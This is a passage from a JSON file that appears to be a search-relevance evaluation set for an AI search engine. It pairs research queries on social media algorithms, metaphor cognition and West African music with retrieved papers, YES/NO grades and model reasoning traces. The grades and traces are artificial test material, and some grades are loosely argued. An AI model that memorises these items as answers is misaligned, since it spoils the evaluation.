                "text": "TECHNOLOGY PRIMERS FOR POLICYMAKERS\nSocial Media \nRecommendation\nAlgorithms\nTECHNOLOGY AND PUBLIC PURPOSE PROJECT\nASH CARTER, TAPP FACULTY DIRECTOR \nAMRITHA JAYANTI, TAPP ASSOCIATE DIRECTOR\nAugust 2022 \nAUTHOR\nConstanza M. Vidal Bustamante (Harvard)\nREVIEWERS\nJoaquin Qui\u00f1onero-Candela (LinkedIn)\nLucas Wright (Cornell)\nLeisel Bogan (Harvard)\nMarc Faddoul (Tracking Exposed)\nEDITORS\nAriel Higuchi (Harvard)\nAmritha Jayanti (Harvard)\nTechnology and Public Purpose Project \nBelfer Center for Science and International Affairs \nHarvard Kennedy School \n79 John F. Kennedy Street, Cambridge, MA 02138 \nwww.belfercenter.org/TAPP \nStatements and views expressed in this publication are solely those of the authors and do not imply endorsement by the reviewers and \ntheir respective organizations, Harvard University, Harvard Kennedy School, or the Belfer Center for Science and International Affairs. \nThe Technology and Public Purpose (TAPP) Project would like to thank Zachary Lemisch who provided preliminary research assistance \nin creating this primer. Additionally, the TAPP Project would like to thank Sof\u00eda Jarr\u00edn for constructive copy editing of the primer.\nCopyright 2022, President and Fellows of Harvard College\nPrinted in the United States of America\nThe Technology Primer Series was designed to provide a brief overview of each technology and related policy \nconsiderations. These papers are not meant to be exhaustive.\nContents\nExecutive Summary 1\nIntroduction: What Are Social Media Recommendation Algorithms and \nWhy Are They Important? 3\nAbout This Document 4\nPART 1: Technology 6\nHow Do Content Recommendation Algorithms Work? 6\nHow Do Companies Define \u201cRelevant\u201d and \u201cValuable\u201d Content? 9\nHow and How Often Are These Algorithms Updated? 10\nWhat Is Done about Problematic Content? 11\nWhat Information and Control Does the User Currently Have? 13\nWhat Control Could the User Have? 14\nPART 2: Public Purpose Considerations 16\nPART 3: Regulation and Oversight 20\nLegislation and Proposals 20\nSpeech Legislation 20\nPrivacy Legislation 21\nAn",
                "model_trace": "Query Decomposition:\n1. {academic studies that analyze the potential biases of recommendation algorithms}: The document is a technology primer from the Belfer Center, which is associated with Harvard, and includes sections on how content recommendation algorithms work and what is done about problematic content -> ([1], SATISFIED)\n2. {academic studies that analyze the privacy issues of recommendation algorithms}: The document includes sections on privacy legislation and user control, indicating a discussion on privacy issues -> ([1], SATISFIED)\n3. {academic studies that analyze the societal impacts of recommendation algorithms}: The document has a section on public purpose considerations, which likely covers societal impacts -> ([1], SATISFIED)\n\nAssessment: The document appears to be a comprehensive primer on social media recommendation algorithms, covering biases, privacy issues, and societal impacts. It is authored and reviewed by academics and experts, making it suitable for the user's needs. YES."
            },
            {
                "grade": "YES",
                "title": "[PDF] The ethics of artificial intelligence: Issues and initiatives",
                "url": "https://www.europarl.europa.eu/RegData/etudes/STUD/2020/634452/EPRS_STU(2020)634452_EN.pdf",
                "published_date": null,
                "text": "STUDY\nPanel for the Future of Science and Technology\nEPRS | European Parliamentary Research Service\nScientific Foresight Unit (STOA)\nPE 634.452 \u2013 March 2020 EN\nThe ethics of \nartificial \nintelligence: \nIssues and \ninitiatives\nThe ethics of artificial \nintelligence: Issues \nand initiatives\nThis study deals with the ethical implications and moral questions that \narise from the development and implementation of artificial \nintelligence (AI) technologies. It also reviews the guidelines and \nframeworks which countries and regions around the world have \ncreated to address them. It presents a comparison between the \ncurrent main frameworks and the main ethical issues, and highlights \ngaps around the mechanisms of fair benefit-sharing; assigning of \nresponsibility; exploitation of workers; energy demands in the context \nof environmental and climate changes; and more complex and less \ncertain implications of AI, such as those regarding human \nrelationships.\nSTOA | Panel for the Future of Science and Technology \nAUTHORS \nThis study has been drafted by Eleanor Bird, Jasmin Fox-Skelly, Nicola Jenner, Ruth Larbey, Emma Weitkamp and \nAlan Winfield from the Science Communication Unit at the University of the West of England, at the request of \nthe Panel for the Future of Science and Technology (STOA), and managed by the Scientific Foresight Unit, within\nthe Directorate-General for Parliamentary Research Services (EPRS) of the Secretariat of the European \nParliament. \nAcknowledgements\nThe authors would like to thank the following interviewees: John C. Havens (The IEEE Global Initiative on Ethics \nof Autonomous and Intelligent Systems (A/IS)) and Jack Stilgoe (Department of Science & Technology Studies, \nUniversity College London). \nADMINISTRATOR RESPONSIBLE\nMihalis Kritikos, Scientific Foresight Unit (STOA)\nTo contact the publisher, please e-mail stoa@ep.europa.eu\nLINGUISTIC VERSION\nOriginal: EN\nManuscript completed in March 2020. \nDISCLAIMER AND COPYRIGHT\nThis document is prepared for, and addressed to, the Members and staff of",
                "model_trace": "Query Decomposition:\n1. {academic studies}: This document is a study conducted by academic authors from the Science Communication Unit at the University of the West of England -> ([1], SATISFIED)\n2. {analyze the potential biases of recommendation algorithms}: The document discusses ethical implications and moral questions of AI technologies, but it is not clear if it specifically addresses biases in recommendation algorithms -> ([2], UNSURE)\n3. {analyze privacy issues of recommendation algorithms}: The document reviews ethical issues of AI but does not specify if privacy issues related to recommendation algorithms are included -> ([2], UNSURE)\n4. {analyze societal impacts of recommendation algorithms}: The document mentions complex and uncertain implications of AI, which might include societal impacts, but it is not explicitly clear if recommendation algorithms are covered -> ([2], UNSURE)\n\nAssessment: The document is an academic study that deals with ethical implications of AI technologies, which likely includes some discussion on biases, privacy issues, and societal impacts, although it is not explicitly clear if recommendation algorithms are a primary focus. Given the broad scope of the study, it is likely to provide useful context and potentially relevant information for the journalist's article.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "The Ethics of Social Media Algorithms: Implications for Privacy",
                "url": "https://www.coursesidekick.com/information-systems/2334020",
                "published_date": null,
                "text": "3 \nThe use of algorithms in social media also raises concerns about the manipulation of  public opinion and political processes. Social media algorithms can be used to manipulate the  content that users see, which can have a significant impact on public opinion and political  processes. For example, during the 2016 US presidential election, Russian operatives used social  media to spread propaganda and misinformation, which was amplified by social media  algorithms. \nSocial media platforms such as Facebook, Twitter, and Instagram have become an integral  part of modern society, shaping the way we communicate, consume information, and engage  with others. However, the algorithms used by these platforms to personalize and curate content  for users have come under scrutiny for their potential to exacerbate social, political, and  economic inequalities. This paper will explore the ethical implications of social media algorithms \nand their impact on individuals and society. \nSocial media algorithms use a variety of factors to personalize content for users, such as  past behavior, interests, and demographic information. While these algorithms can provide a  more personalized user experience, they can also reinforce existing biases and discrimination.  For example, the algorithms used by Facebook to display ads have been found to perpetuate  gender and racial stereotypes. This can have a significant impact on individuals and  communities, reinforcing existing power imbalances and perpetuating inequality. \nAdditionally, social media algorithms have been criticized for their potential to create  echo chambers, where users are only exposed to information and perspectives that align with  their existing beliefs and biases. This can lead to a polarization of society, where individuals  become more entrenched in their own views and less open to alternative perspectives. This can   ||||I||||    Home\n        Subjects\n    Log inJoin\n      Log inJoin\n        Subjects\n        * Accounting\n        * Aerospace Engineering\n        * ",
                "model_trace": "Query Decomposition:\n1. {academic studies}: The document appears to be a paper, which may be considered an academic study -> ([1], SATISFIED)\n2. {analyze potential biases}: The document discusses how social media algorithms can reinforce existing biases and discrimination -> ([1], SATISFIED)\n3. {analyze privacy issues}: The title mentions implications for privacy, but the content provided does not explicitly address privacy issues -> ([0], UNSURE)\n4. {analyze societal impacts}: The document discusses the societal impacts of social media algorithms, such as manipulation of public opinion and creation of echo chambers -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {academic studies}, {analyze potential biases}, and {analyze societal impacts}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES"
            }
        ]
    },
    {
        "query": "I'm a graduate student studying the cognitive processing of metaphors in poetry. I'm looking for journal articles that explore how the human brain understands and interprets metaphorical language in literary works, and how this differs from the processing of literal, non-figurative text.",
        "grid_pos": [
            2,
            0
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The provided queries cover a range of academic research topics that would require finding relevant published papers and journal articles to answer effectively. The queries demonstrate a need for in-depth, contextual information and demonstrate the user's familiarity with the research process. Providing high-quality, authoritative sources to address these queries would test the capabilities of an AI-powered search engine like Exa."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Metaphorical language processing and amygdala activation in L1 and L2",
                "url": "https://www.sciencedirect.com/science/article/pii/S0028393220300531",
                "published_date": "2020-03-05",
                "text": "The present study aims to investigate the neural correlates of processing conventional figurative language in non-native speakers in a comparison with native speakers. Italian proficient L2 learners of German and German native speakers read conventional metaphorical statements as well as literal paraphrases that were comparable on a range of psycholinguistic variables. Results confirm previous findings that native speakers show increased activity for metaphorical processing, and left amygdala activation increases with increasing Metaphoricity. At the whole-brain level, L2 learners showed the expected overall differences in activation when compared to native speakers (in the fronto-temporal network). But L2 speakers did not show any distinctive activation outside the caudate nucleus as Metaphoricity increased, suggesting that the L2 speakers were less affected by increasing Metaphoricity than native speakers were. With small volume correction, only a single peak in the amygdala reached threshold for L2 speakers as Metaphoricity increased. The findings are consistent with the view that metaphorical language is more engaging for native speakers but not necessarily for L2 speakers.",
                "model_trace": "Query Decomposition:\n1. [journal articles]: This document is a journal article -> ([1], SATISFIED)\n2. [explore how the human brain understands and interprets metaphorical language in literary works]: This document investigates the neural correlates of processing metaphorical language, which aligns with understanding and interpreting metaphorical language -> ([1], SATISFIED)\n3. [how this differs from the processing of literal, non-figurative text]: This document compares metaphorical statements with literal paraphrases, addressing the difference in processing -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Metaphorical Sentences Are More Emotionally Engaging than Their Literal Counterparts",
                "url": "https://direct.mit.edu/jocn/article-abstract/26/11/2585/28223/Metaphorical-Sentences-Are-More-Emotionally?redirectedFrom=fulltext",
                "published_date": "2014-11-01",
                "text": "Why do people so often use metaphorical expressions when literal paraphrases are readily available? This study focuses on a comparison of metaphorical statements involving the source domain of taste (e.g., \u201cShe looked at him sweetly\u201d) and their literal paraphrases (e.g., \u201cShe looked at him kindly\u201d). Metaphorical and literal sentences differed only in one word and were normed for length, familiarity, imageability, emotional valence, and arousal. Our findings indicate that conventional metaphorical expressions are more emotionally evocative than literal expressions, as the amygdala and the anterior portion of the hippocampus were more active in the metaphorical sentences. They also support the idea that even conventional metaphors can be grounded in sensorimotor and perceptual representations in that primary and secondary gustatory areas (lateral OFC, frontal operculum, anterior insula) were more active as well. A comparison of the individual words that distinguished the metaphorical and literal sentences revealed greater activation in the lateral OFC and the frontal operculum for the taste-related words, supporting the claim that these areas are relevant to taste.",
                "model_trace": "Query Decomposition:\n1. {journal articles}: This document is a journal article -> ([1], SATISFIED)\n2. {how the human brain understands and interprets metaphorical language in literary works}: This document explores how the brain processes metaphorical language, comparing metaphorical sentences with their literal counterparts -> ([1], SATISFIED)\n3. {how this differs from the processing of literal, non-figurative text}: The document specifically compares metaphorical sentences with literal sentences, addressing differences in brain processing -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document is a journal article that explores how the brain understands and interprets metaphorical language compared to literal language, which aligns perfectly with the user's query. YES"
            },
            {
                "grade": "NO",
                "title": "Applying Textual Entailment to the Interpretation of Metaphor",
                "url": "https://ieeexplore.ieee.org/document/6693505/",
                "published_date": "2013-09-05",
                "text": "Metaphor is a pervasive feature of human language that enables us to conceptualize and communicate abstract concepts using more concrete terminology. Unfortunately, computational models of natural language understanding - including systems for question answering, textual entailment, lexical substitution, and word-sense disambiguation - are unable to appropriately grasp the semantic content of metaphor and other forms of figurative language. In particular, we address the problem of understanding metaphoric language in the context of entailment (or paraphrase) detection. We build upon our existing state-of-the-art textual entailment system to specifically address issues of lexical entailment within a metaphoric context and have performed an in-depth experimental analysis to determine which techniques are most effective at interpreting metaphorical text. Our results suggest that a machine learning system trained on metaphor-rich data can achieve an accuracy above 90% for verbal metaphors using a combination of lexical, semantic, and contextual measures of term similarity.",
                "model_trace": "Query Decomposition:\n1. {Journal articles}: This document is a journal article -> ([1], SATISFIED)\n2. {Cognitive processing of metaphors in poetry}: The document focuses on computational models of natural language understanding and textual entailment related to metaphors, not on cognitive processing in the human brain or specifically in poetry -> ([1], UNSATISFIED)\n3. {How the human brain understands and interprets metaphorical language in literary works}: The document discusses computational models, not human brain processing -> ([1], UNSATISFIED)\n4. {How this differs from the processing of literal, non-figurative text}: The document does not address the comparison between metaphorical and literal text processing in the human brain -> ([1], UNSATISFIED)\n\nAssessment: The document only satisfies the subcomponent related to being a journal article. It does not address the cognitive processing of metaphors in poetry, human brain understanding, or the comparison with literal text processing. NO."
            },
            {
                "grade": "NO",
                "title": "understanding metaphor: a cognitive approach focusing on ...",
                "url": "https://hathanhhai.files.wordpress.com/2012/11/understanding-metaphor-in-poetry.pdf",
                "published_date": null,
                "text": "T. C. \n \u00c7UKUROVA UNIVERSITY \n THE INSTITUTE OF SOCIAL SCIENCES \n UNDERSTANDING METAPHOR: \n A COGNITIVE APPROACH FOCUSING ON IDENTIFICATION \n AND INTERPRETATION OF METAPHORS IN POETRY \n \n Filiz DUR\n \n Supervisor Asist. Prof Dr. Tijen T\u00dcREL\u0110 \n \n MASTER OF ARTS \n \n Adana / 2006 \nii\nWe certify that this thesis is satisfactory for the award of the degree of Master of Arts. \n \u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\n Supervisor \n Asst. Prof. Dr. Tijen T\u00dcREL\u0110 \n\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026. \u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026 \nMember of Examining Committee Member of Examining Committee \nAsst. Prof . Dr. Hatice SOFU Asst. Prof . Dr. Nuran ASLAN. \nI certify that this thesis conforms to the formal standarts of the Institute of Social \nSciences. \n \u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\n Director of Institute \n Prof. Dr. Nihat K\u00dc\u00c7\u00dcKSAVA\u015e \nNote: The uncited usage of the reports , charts, figures and photographs in this thesis, \nwhether original or quoted from other sources, is subject to the law of Works of Art and \nThought No: 5846 \nNot: Bu tezde kullan\u0131lan \u00f6zg\u00fcn veya ba\u015fka kaynaktan yap\u0131lm\u0131\u015f bildiri\u015flerin, \u00e7izelge, \n\u015fekil ve foto\u011fraflar\u0131n kaynak g\u00f6sterilmeden kullan\u0131m\u0131 5846 Say\u0131l\u0131 Fikir ve Sanat Eserleri \nKanunu\u2019ndaki h\u00fck\u00fcmlere tabidir. \n \niii\n \n ABSTRACT \n UNDERSTANDING METAPHOR: A COGNITIVE APPROACH FOCUSING \nON IDENTIFICATION AND INTERPRETATION OF \n METAPHORS IN POETRY\n Filiz DUR\n Thesis of Master of Arts, English Language Teaching Department \n Advisor: Asst. Prof. Dr. Tijen T\u00dcREL\u0110 \n July, 2006, 134 Pages \n \n This study aims to investigate metaphor in poetry from a cognitive perspective. The \npresence, interpretation and effect of metaphors in poetry were investigated. Besides, it \naimed to find out whether the fourth-year students at the ELT Department of \u00c7ukurova \nUniversity can identify the metaphors in two selected English poems. Additionally, it \nexplored the processes participants went through while they interpreted these metaphors \nand the linguistic metaphors they built to express the target domains in Turkish. When \nthe data gathered via \u2018Think and Feel Aloud\u2019 and \u2018Interview\u2019 techniques, were analyzed \nit was see",
                "model_trace": "Query Decomposition:\n1. {journal articles}: This document is a Master's thesis, not a journal article -> ([1], UNSATISFIED)\n2. {explore how the human brain understands and interprets metaphorical language in literary works}: The document investigates metaphor in poetry from a cognitive perspective, which aligns with this subcomponent -> ([1], SATISFIED)\n3. {how this differs from the processing of literal, non-figurative text}: The document does not explicitly mention a comparison between metaphorical and literal text processing -> ([0], UNSURE)\n\nAssessment: The document is a Master's thesis and not a journal article, which is a key requirement of the query. Therefore, despite satisfying the cognitive exploration of metaphors in poetry, the document does not meet the user's need for journal articles. NO."
            },
            {
                "grade": "YES",
                "title": "'I am the page of words': How cognitive poetics reveals ...",
                "url": "https://search.proquest.com/openview/19caf6055d734812476f3b376738a36e/1?pq-origsite=gscholar&cbl=18750&diss=y",
                "published_date": null,
                "text": "ProQuest         Download PDF         This graduate work has been published as open access.\u00a0\n         Copyright information   Database copyright ProQuest LLC; ProQuest does not claim copyright in the individual underlying works.     View related documents    Your library or institution may also provide you access to related full text documents in ProQuest.   Explore ProQuest            Full Text   Dissertation or Thesis             Dusenbery, Kathleen E              Preview author details .\u2009\n \u2009Illinois State University\u2009ProQuest Dissertations &amp; Theses, \u20092011.\u20093500073.  \n              ProQuest, part of Clarivate      About ProQuest   Contact Us   Terms and Conditions   Privacy Policy   Cookie Policy       Credits       Copyright \u00a9 2024 ProQuest LLC.     ||||I||||You shouldn't see this\n  Skip to main content\n            ProQuest\n              Select language\n              \u00d7\n                * \u0627\u0644\u0639\u0631\u0628\u064a\u0629\n                * Bahasa Indonesia\n                * \u010ce\u0161tina\n                * Deutsch\n                * Espa\u00f1ol\n                * Fran\u00e7ais\n                * \ud55c\uad6d\uc5b4\n                * Italiano\n                * Magyar\n                * \u65e5\u672c\u8a9e\n                * Norsk\n                * Polski\n                * Portugu\u00eas (Brasil)\n                * Portugu\u00eas (Portugal)\n                * \u0420\u0443\u0441\u0441\u043a\u0438\u0439\n                * \u0e44\u0e17\u0e22\n                * T\u00fcrk\u00e7e\n                * \u4e2d\u6587(\u7b80\u4f53)\u200e\n                * \u4e2d\u6587(\u7e41\u9ad4)\u200e\n                        Download PDF\n                          * This graduate work has been published as open access.\n                      Copyright information\n                      Database copyright ProQuest LLC; ProQuest does not claim copyright in the individual underlying works.\n                      View related documents\n                      Your library or institution may also provide you access to related full text documents in ProQuest.\n                        Explore ProQuest\n                      * Full Text\n                      * \n                      * Dissertation or Thesis\n                        \u2018I am the page of word",
                "model_trace": "Query Decomposition:\n1. {Journal articles}: The document is a dissertation or thesis, not a journal article -> ([1], UNSATISFIED)\n2. {Cognitive processing of metaphors in poetry}: The title \"How cognitive poetics reveals...\" suggests it may cover cognitive processing of metaphors in literary works -> ([2], SATISFIED)\n3. {How the human brain understands and interprets metaphorical language in literary works}: The document is likely to cover this topic given the focus on cognitive poetics -> ([2], SATISFIED)\n4. {Differences from processing of literal, non-figurative text}: It's unclear from the provided content whether this specific comparison is made -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Cognitive processing of metaphors in poetry} and {How the human brain understands and interprets metaphorical language in literary works}. Both are satisfied. Although the document is not a journal article, it is still a scholarly work that could be highly relevant to the user's research.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Decoding brain activities of literary metaphor comprehension",
                "url": "https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2022.913521/full",
                "published_date": null,
                "text": "ORIGINAL RESEARCH article  Front. Psychol. , 22 July 2022  \n      Sec. Psychology of Language\n         This article is part of the Research Topic Language Embodiment: Principles, Processes, and Theories for Learning and Teaching Practices in Typical and Atypical Readers  View all 13 articles           1 School of Foreign Languages, Dalian University of Technology, Dalian, China   2 Faculty of Information Technology, University of Jyv\u00e4skyl\u00e4, Jyv\u00e4skyl\u00e4, Finland   3 School of Biomedical Engineering, Faculty of Electronic Information and Electrical Engineering, Dalian University of Technology, Dalian, China \nNovel metaphors in literary texts (hereinafter referred to as literary metaphors) seem to be more creative and open-ended in meaning than metaphors in non-literary texts (non-literary metaphors). However, some disagreement still exists on how literary metaphors differ from non-literary metaphors. Therefore, this study explored the neural mechanisms of literary metaphors extracted from modern Chinese poetry by using the methods of Event-Related Potentials (ERPs) and Event-Related Spectral Perturbations (ERSPs), as compared with non-literary conventional metaphors and literal expressions outside literary texts. Forty-eight subjects were recruited to make the semantic relatedness judgment after reading the prime-target pairs in three linguistic conditions. According to the ERPs results, the earliest differences were presented during the time window of P200 component (170\u2013260\u2009ms) in the frontal and central areas, with the amplitude of P200 for literary metaphors more positive than the other two conditions, reflecting the early allocation of attention and the early conscious experience of the experimental stimuli. Meanwhile, significant differences were presented during the time window of N400 effect (430\u2013530\u2009ms), with the waveform of literary metaphors more negative than others in the frontal and central topography of scalp distributions, suggesting more efforts in retrieving conceptual knowledge for literary metapho",
                "model_trace": "Query Decomposition:\n1. {journal articles}: This document is a journal article -> ([1], SATISFIED)\n2. {explore how the human brain understands and interprets metaphorical language in literary works}: This document explores the neural mechanisms of literary metaphors using ERPs and ERSPs, specifically in modern Chinese poetry -> ([1], SATISFIED)\n3. {how this differs from the processing of literal, non-figurative text}: This document compares literary metaphors with non-literary conventional metaphors and literal expressions -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            }
        ]
    },
    {
        "query": "I'm conducting research on the historical and cultural factors that have influenced the development of musical genres in West Africa. I need to find scholarly publications that provide in-depth analysis of the evolution of traditional and contemporary music styles in this region, with a focus on how they reflect the social, political, and religious experiences of the people.",
        "grid_pos": [
            2,
            0
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The provided queries cover a range of academic research topics that would require finding relevant published papers and journal articles to answer effectively. The queries demonstrate a need for in-depth, contextual information and demonstrate the user's familiarity with the research process. Providing high-quality, authoritative sources to address these queries would test the capabilities of an AI-powered search engine like Exa."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Traditional Music and the Expression of Yoruba Socio-cultural Values: A Historical Analysis",
                "url": "https://www.tandfonline.com/doi/full/10.1080/18125980.2018.1554980",
                "published_date": "2018-07-03",
                "text": "The Yoruba people of south-western Nigeria are one of the most socially diverse groups on the African continent. A major feature that sets them apart from other groups in Nigeria is their accomplis...",
                "model_trace": "Query Decomposition:\n1. {scholarly publications}: The document is from tandfonline.com, which is a known publisher of scholarly articles -> ([1], SATISFIED)\n2. {historical and cultural factors influencing musical genres in West Africa}: The document mentions a historical analysis of Yoruba socio-cultural values, which likely includes cultural factors -> ([2], SATISFIED)\n3. {in-depth analysis of the evolution of traditional and contemporary music styles}: The document title suggests an analysis of traditional music, but it is unclear if it covers contemporary music styles -> ([2], UNSURE)\n4. {reflection of social, political, and religious experiences}: The document mentions socio-cultural values, which likely includes social and possibly religious experiences, but political experiences are not explicitly mentioned -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {scholarly publications}, {historical and cultural factors influencing musical genres in West Africa}, and {reflection of social, political, and religious experiences}. Since these are all satisfied, the document is helpful for the user's request. YES."
            },
            {
                "grade": "YES",
                "title": "Music of the Tabom: An Emblem of Identity",
                "url": "https://www.mdpi.com/2076-0787/8/2/95",
                "published_date": "2019-05-15",
                "text": "This paper discusses how music functions as an emblem of identity for the Afro-Brazilian community in Accra, Ghana, known as the Tabom. The paper provides a contextual and analytical study of the complete musical enactment as practiced by this community, and argues, that the Tabom musical genre, known as Agbe, serves the purpose of creating and negotiating identity as found in their use of music within Tabom socio-cultural, religious, and political ceremonies. In this paper, I argue that Agbe is not only an organized sound in Tabom culture, but rather, it is one of the strongest cultural elements that serves as an emblem of identity relating to the life and culture of the Tabom community in Accra. Relying on ethnographic research design, Agbe is presented as the focus of study, subjecting the context in which it is performed to study and analysis. Moreover, the relationships between the Agbe ensemble and their performance context, as well as live events are discussed with the intent of conveying meanings of singing, drumming, dancing, and other related artistic expressions as they all contribute to help the Tabom to negotiate their identity.",
                "model_trace": "Query Decomposition:\n1. {scholarly publications}: This document is a scholarly publication -> ([1], SATISFIED)\n2. {historical and cultural factors influencing the development of musical genres in West Africa}: The document discusses the historical and cultural factors influencing the Tabom musical genre in Ghana, a part of West Africa -> ([1], SATISFIED)\n3. {in-depth analysis of the evolution of traditional and contemporary music styles in West Africa}: The document provides an in-depth analysis of the Agbe musical genre within the Tabom community, which is a traditional music style -> ([1], SATISFIED)\n4. {reflection of social, political, and religious experiences}: The document discusses how the Agbe musical genre reflects the social, political, and religious experiences of the Tabom community -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "West Africa",
                "url": "https://www.degruyter.com/document/doi/10.1515/iab.2014.004/html",
                "published_date": "2014-06-01",
                "text": "or US$3.00; quarterly. The RTA Journal, ed. D. W. MacArthur, P.O. Box 4II, Marandellas, Rhodesia. Official organ of Rhodesia Teachers\u2019 Association, gratis to Rhodesian teachers; of interest to educationalists, includes book reviews; quarterly. Two Tone, VIII, I-4, ed. P. Berlyn, O. Robertson, A. Peck. P.O. Box 3598, Salisbury, Rhodesia. Annual sub., Rh$I.25, or US$2.50; quarterly. Zambezia , II, I, ed. R. S. Roberts. Librarian (Publications), U. of Rhodesia, P.O. Box MP45, Mount Pleasant, Salisbury, Rhodesia, Rh$I.00; annual. . , , , , , , .. -",
                "model_trace": "Query Decomposition:\n1. {scholarly publications}: The document is from De Gruyter, which is a known academic publisher, so it is likely a scholarly publication -> ([1], SATISFIED)\n2. {in-depth analysis of the evolution of traditional and contemporary music styles in West Africa}: The document title \"West Africa\" is too broad and the content provided does not mention anything about music styles or their evolution -> ([1], UNSATISFIED)\n3. {focus on how they reflect the social, political, and religious experiences of the people}: The content provided does not mention any social, political, or religious experiences related to music in West Africa -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents related to the specific content required for the query. NO."
            },
            {
                "grade": "NO",
                "title": "African music | History, Artists, Genres, Instruments, & Facts",
                "url": "https://www.britannica.com/art/African-music",
                "published_date": null,
                "text": "African music, the musical sounds and practices of all indigenous peoples of Africa, including the Berber in the Sahara and the San and Khoikhoin in Southern Africa. The music of European settler communities and that of Arab North Africa are not included in the present discussion. For the music of Islamic Africa, see Islamic arts: Music.            Bobby McFerrin  The universality and innate nature of music, and the pentatonic scale, as demonstrated by singer Bobby McFerrin.   See all videos for this article    It is widely acknowledged that African music has undergone frequent and decisive changes throughout the centuries. What is termed traditional music today is probably very different from African music in former times. Nor has African music in the past been rigidly linked to specific ethnic groups. The individual musician, his or her style and creativity, have always played an important role.       The material sources for the study of African music history include archaeological and other objects, pictorial sources (rock paintings, petroglyphs, book illustrations, drawings, paintings), oral historical sources, written sources (travelers\u2019 accounts, field notes, inscriptions in Arabic and in African and European languages), musical notations, sound recordings, photographs and motion pictures, and videotape.       In ancient times the musical cultures of sub-  Saharan Africa extended into North Africa. Between circa 8000 and 3000 bce, climatic changes in the Sahara, with a marked wet trend, extended the flora and fauna of the savanna into the southern Sahara and its central highlands. During this period, human occupation of the Sahara greatly increased, and, along rivers and small lakes, Neolithic, or   New Stone Age, cultures with a so-called aquatic lifestyle extended from the western Sahara into the Nile River valley. The aquatic cultures began to break up gradually between 5000 and 3000 bce, once the peak of the wet period had passed. The wet climate became more and more restricted to shrunken lakes and ri",
                "model_trace": "Query Decomposition:\n1. {historical factors that influenced the development of musical genres in West Africa}: The document mentions the historical changes in African music and sources for studying its history, but it does not specifically focus on West Africa -> ([2], UNSURE)\n2. {cultural factors that influenced the development of musical genres in West Africa}: The document discusses the role of individual musicians and the evolution of African music broadly, but not specifically in West Africa -> ([2], UNSURE)\n3. {scholarly publications}: This document is an encyclopedia entry and not a scholarly publication -> ([1], UNSATISFIED)\n4. {in-depth analysis of traditional and contemporary music styles in West Africa}: The document provides a general overview of African music but does not offer an in-depth analysis or focus specifically on West African music styles -> ([1], UNSATISFIED)\n5. {reflection of social, political, and religious experiences}: The document does not specifically address how African music reflects social, political, and religious experiences -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {scholarly publications}, {in-depth analysis of traditional and contemporary music styles in West Africa}, and {reflection of social, political, and religious experiences}. Since these subcomponents are not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "[PDF] The Music of Senegal: A Way of Life in West Africa",
                "url": "https://digitalcollections.sit.edu/cgi/viewcontent.cgi?article=1198&context=isp_collection",
                "published_date": null,
                "text": "1\nThe Music of Senegal: A Way of Life in West Africa \nLucien DeLaBruere\nIndependent Study Project \nSchool for International Training \nDakar, Senegal; Spring 2007 \nProject Advisor: Keba Djibril Mane \nAcademic Director: Souleye Diallo \n \n2\nDedication\u2026 \nTo all the people who helped with the \nmaking of this project: SIT: Senegal, Keba \nMane, Jacques Diatta and all the musicians \nin Senegal that helped make it all come \ntogether. \n \n3\nTABLE OF CONTENTS \nABSTRACT\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u20261 \nINTRODUCTION\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026.1 \nMETHODOLOGIES\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026.3 \nFINDINGS\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026..6 \n Music in Senegal\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026.6 \n A Brief History of Senegalese Music\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u20267 \n African Drumming and the Djembe\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u20268 \n Looking at Rhythm\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026..11 \n Notating Traditional 